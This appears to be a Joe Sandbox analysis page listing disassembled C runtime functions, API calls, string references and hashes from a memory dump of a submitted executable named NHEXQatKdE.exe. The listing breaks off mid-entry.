Instruction ID: 1a82c830cb53860e62c538e32b9119e278bb5f081ddc757fe3c1752a7b572e7e
Opcode Fuzzy Hash: 8ea5303ec4bccc8d9604f5b8ce6dda7ab835b6f8cf8d77fbb570e501ee426667
Instruction Fuzzy Hash: D5518672906388AFDB249FAA9C959FFB7ABDF45314F1451ACF40897301EB308E418B24

Function 006E222B Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000234C,006E1CDF), ref: 006E2230

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 797c34072a4f6512442c08d25a08f0a4b06aad51f309fe852140c18fa9aa7544
Instruction ID: 8f403f087444a6e42a3d347f3b1ccd6907a753fe6737864962e5f2d637118ac7
Opcode Fuzzy Hash: 797c34072a4f6512442c08d25a08f0a4b06aad51f309fe852140c18fa9aa7544
Instruction Fuzzy Hash:

Function 006E723D Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 006E723D

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 34469ab8b71bd0b4856f49f351ba2f4621237bb7f186874dcfdf3275d27ad0ef
Instruction ID: 81220c3b90a2c3f154de431906f6ff5c90348576aa78d1b1ad15cf217e0344b6
Opcode Fuzzy Hash: 34469ab8b71bd0b4856f49f351ba2f4621237bb7f186874dcfdf3275d27ad0ef
Instruction Fuzzy Hash: 67A001B06012418B9B449F76AA0922D3AABAE596D6705E06AA409C9664EA249450DF06

Function 006E40E2 Relevance: .3, Instructions: 318COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b84f89a2059a45267400b08470fbba7c47bd04afd03262b2db388cf3539e612d
Instruction ID: aa125c459f3c6f201bd8085db8c198991301b0ef569c359122c7503085218ee1
Opcode Fuzzy Hash: b84f89a2059a45267400b08470fbba7c47bd04afd03262b2db388cf3539e612d
Instruction Fuzzy Hash: 1DB1C17090278A8FCF28CE7B89556FEB7A3AF54300F14061DEA6297781CF319A46CB51

Function 006E1000 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f0e134041470e9fe284de6385fc1cd4d990d422bbc9f06d2e93a1de301e933c
Instruction ID: fafffc52131bc0c6a32f2bae601e28835afb426949851bfdb9a5f9b7c0db6281
Opcode Fuzzy Hash: 5f0e134041470e9fe284de6385fc1cd4d990d422bbc9f06d2e93a1de301e933c
Instruction Fuzzy Hash: C8118E323146A007576C9E299CE503B7B57D7C7194324517EC4228F7D2E933CC83D294

Function 006E2AE0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 006E2B17
___except_validate_context_record.LIBVCRUNTIME ref: 006E2B1F
_ValidateLocalCookies.LIBCMT ref: 006E2BA8
__IsNonwritableInCurrentImage.LIBCMT ref: 006E2BD3
_ValidateLocalCookies.LIBCMT ref: 006E2C28

Strings

'n, xrefs: 006E2BC5, 006E2BCE, 006E2BDF
csm, xrefs: 006E2BBD

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm$'n
API String ID: 1170836740-47889775
Opcode ID: 358801c20e361bee26f45e47be5fca48f528460eab6f4ba4226f3c3b2831525b
Instruction ID: 8e8e9df1c27d2be6221e041fca207c97ac235937fe9b72dabb81b83859a72b67
Opcode Fuzzy Hash: 358801c20e361bee26f45e47be5fca48f528460eab6f4ba4226f3c3b2831525b
Instruction Fuzzy Hash: 5041E734A0134A9BCF10DF6AC890AAE7BBBFF44328F148159E9159B352D7319A01CB90

Function 006F2692 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00DE2430,00DE2430,00000000,7FFFFFFF,?,006F267D,00DE2430,00DE2430,00000000,00DE2430,?,?,?,?,00DE2430,00000000), ref: 006F2738
__alloca_probe_16.LIBCMT ref: 006F27F3
__alloca_probe_16.LIBCMT ref: 006F2882
__freea.LIBCMT ref: 006F28CD
__freea.LIBCMT ref: 006F28D3
__freea.LIBCMT ref: 006F2909
__freea.LIBCMT ref: 006F290F
__freea.LIBCMT ref: 006F291F

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: bce732489ab1408dedead99c5a4587ee52ddc287695a15e5433a8f49951034b8
Instruction ID: 35fb939eacbd42ddf476261ebab43298436a9426668e9a0434b03d9d6225f535
Opcode Fuzzy Hash: bce732489ab1408dedead99c5a4587ee52ddc287695a15e5433a8f49951034b8
Instruction Fuzzy Hash: E171167290124FABDF21AF95CC61BFE77BBAF45350F280059EA14AB382D6709C448F65

Function 006E96B2 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 006E9738

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 3825fff6bd7fd7d33fbd87751acabf464b2013d176b50613b12fd40d88381faf
Instruction ID: 943c52e830fa96b2c655e3949755090598e1b225c93fda49e5ff099aac8e6bb6
Opcode Fuzzy Hash: 3825fff6bd7fd7d33fbd87751acabf464b2013d176b50613b12fd40d88381faf
Instruction Fuzzy Hash: 26B11772A023D5AFDF118F26CC81BEE7BA6EF56310F184569E904AF382D2749905C7B4

Function 006F0376 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 006F0495
CallUnexpected.LIBVCRUNTIME ref: 006F070E

Strings

HQo, xrefs: 006F048C
csm, xrefs: 006F03B3
csm, xrefs: 006F04CC
csm, xrefs: 006F0420

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: HQo$csm$csm$csm
API String ID: 2673424686-3405988832
Opcode ID: 01f810fc2b6242933f29e88043c091f7b7991e27848a889f5474da80c6d8ae92
Instruction ID: 7d3d1a6ed121e1949a330bea2702b6a675342a1b68507622fbaa90a569fdebfc
Opcode Fuzzy Hash: 01f810fc2b6242933f29e88043c091f7b7991e27848a889f5474da80c6d8ae92
Instruction Fuzzy Hash: AEB17A7180120DEFDF14DFA5C9819AEBBB6BF54300B14455EFA05AB252C730EA61CFA5

Function 006E68A7 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,006E689E,006E28C9,006E2390), ref: 006E68B5
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 006E68C3
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 006E68DC
SetLastError.KERNEL32(00000000,006E689E,006E28C9,006E2390), ref: 006E692E

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: c2597989f57cc474330d0ddd73f7bd5de985a5f97e2b3463f704b1e2b0a9efab
Instruction ID: 450dd46ddda72eb35976a2080b94fc858bec7232ff5587f4270e9c1c97782a02
Opcode Fuzzy Hash: c2597989f57cc474330d0ddd73f7bd5de985a5f97e2b3463f704b1e2b0a9efab
Instruction Fuzzy Hash: AC01D87210B3525EE76427BBFDD68772B97EB217F5320122DF114412E2EF214C22D5A5

Function 006EB554 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\NHEXQatKdE.exe, xrefs: 006EB570

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\NHEXQatKdE.exe
API String ID: 0-146086173
Opcode ID: 3b4dca759751ab1c6b6e3f86af5973434c9b9b4ccd09ad5054b8a655180c34cb
Instruction ID: 30966dc9e4cc1c0ba569fc0d47df8082977beccdbc2673929cfbd7128ee5ef88
Opcode Fuzzy Hash: 3b4dca759751ab1c6b6e3f86af5973434c9b9b4ccd09ad5054b8a655180c34cb
Instruction Fuzzy Hash: 102193B1202385AFDB20AF67CC819AB77AFEF04364B149529F919D7251EB30EC118794

Function 006E54AE Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,8A2E6549,?,?,00000000,006F42A9,000000FF,?,006E556F,006E5456,?,006E560B,00000000), ref: 006E54E3
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 006E54F5
FreeLibrary.KERNEL32(00000000,?,?,00000000,006F42A9,000000FF,?,006E556F,006E5456,?,006E560B,00000000), ref: 006E5517

Strings

mscoree.dll, xrefs: 006E54DC
CorExitProcess, xrefs: 006E54ED

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: d846f00ca7520a3bb3fb7b662b8c16ffd75db935e0026539efdeac447d2a1fc7
Instruction ID: 7de72297281c916829d31cdcdfc5d3dc6940ac590f35679f05fea54e88e67299
Opcode Fuzzy Hash: d846f00ca7520a3bb3fb7b662b8c16ffd75db935e0026539efdeac447d2a1fc7
Instruction Fuzzy Hash: 0001D671914A59EFDB018F91DD09FBEBBBBFB44B18F004629F812E2690DF749900CA90

Function 006EC838 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 006EC8BD
__alloca_probe_16.LIBCMT ref: 006EC986
__freea.LIBCMT ref: 006EC9ED

Part of subcall function 006E8CFD: RtlAllocateHeap.NTDLL(00000000,006E1A21,006E1807,?,006E29D3,006E1809,006E1807,?,?,?,006E19DE,006E1A21,006E180B,006E1807,006E1807,006E1807), ref: 006E8D2F

__freea.LIBCMT ref: 006ECA00
__freea.LIBCMT ref: 006ECA0D

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 8b089dae535708019955d89f95d9ca3854d885e604f4d42209ed698dde1724c2
Instruction ID: 347923db100b643eaad98117692ffe7fbe5c910dbd0acde0c3d056f0b1c90a40
Opcode Fuzzy Hash: 8b089dae535708019955d89f95d9ca3854d885e604f4d42209ed698dde1724c2
Instruction Fuzzy Hash: 1351A4725023CAAFEB109F66CC42DFB3AABDF44760B25012DFD05D7252EA30DC128665

Function 006EC5CF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,006EC66B,?,006E1809,006E1807,?,?,?,006EC4B3,00000000,FlsAlloc,006F61B0,006F61B8), ref: 006EC5DC
GetLastError.KERNEL32(?,006EC66B,?,006E1809,006E1807,?,?,?,006EC4B3,00000000,FlsAlloc,006F61B0,006F61B8,?,?,006E6855), ref: 006EC5E6
LoadLibraryExW.KERNEL32(?,00000000,00000000,?,?,006E6855,006E6939,00000003,006E38BB,?,?,?,?,00000000,006E1807,006E1807), ref: 006EC60E

Strings

api-ms-, xrefs: 006EC5F3

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 635a63289acbd1232adfe1778a1cc95eef004b1633f88e9a19df7bdc2613d725
Instruction ID: 2695a1a8c3d116751cb260ddd4c36b9bee1c60ec6d30ab0b71fc1d30c04e837f
Opcode Fuzzy Hash: 635a63289acbd1232adfe1778a1cc95eef004b1633f88e9a19df7bdc2613d725
Instruction Fuzzy Hash: 3DE04870681344B7DF201FA6DC06B6D3B67AF00BD2F105031F90CA85E2D771E815C589

Function 006ECEFF Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(8A2E6549,00000000,00000000,?), ref: 006ECF62

Part of subcall function 006EBC8C: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,006EC9E3,?,00000000,-00000008), ref: 006EBCED

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 006ED1B4
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 006ED1FA
GetLastError.KERNEL32 ref: 006ED29D

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: db0fda45cfa075caff4e33604e3c2cdfe5b067690ea4276a875a00988aba41d8
Instruction ID: 1cc896459c7c58b9b123e7ef5760bccaa746337ff022205452212a70c4b8ec60
Opcode Fuzzy Hash: db0fda45cfa075caff4e33604e3c2cdfe5b067690ea4276a875a00988aba41d8
Instruction Fuzzy Hash: 81D16BB5D012889FCF15CFA9C880AEEBBB6FF49310F28416AE515EB351D630A942CB50

Function 006F009D Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 006F0164
___AdjustPointer.LIBCMT ref: 006F0187
___AdjustPointer.LIBCMT ref: 006F0223

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: a0c30fd6477b10d81d240149fe2ae3b68de2f426e6e2b280c5ab557c07436929
Instruction ID: 2d780972ffc3ce59dbd9c23b501b600ced7d850b698f5cbbbeac7d11aab22b50
Opcode Fuzzy Hash: a0c30fd6477b10d81d240149fe2ae3b68de2f426e6e2b280c5ab557c07436929
Instruction Fuzzy Hash: 1851DF7260230A9FFB28CF95D851BBA73ABEF00310F24412DEE0156292E731EC85CB90

Function 006EAFB8 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 006EBC8C: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,006EC9E3,?,00000000,-00000008), ref: 006EBCED

GetLastError.KERNEL32(?,?,?,00000000,00000000,?,006EB35E,?,?,?,00000000), ref: 006EB01C
__dosmaperr.LIBCMT ref: 006EB023
GetLastError.KERNEL32(00000000,006EB35E,?,?,00000000,?,?,?,00000000,00000000,?,006EB35E,?,?,?,00000000), ref: 006EB05D
__dosmaperr.LIBCMT ref: 006EB064

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 3a09a0f7c72dff088ea1b71936027e9825277e422d31c7612ab7938b80e9f6e7
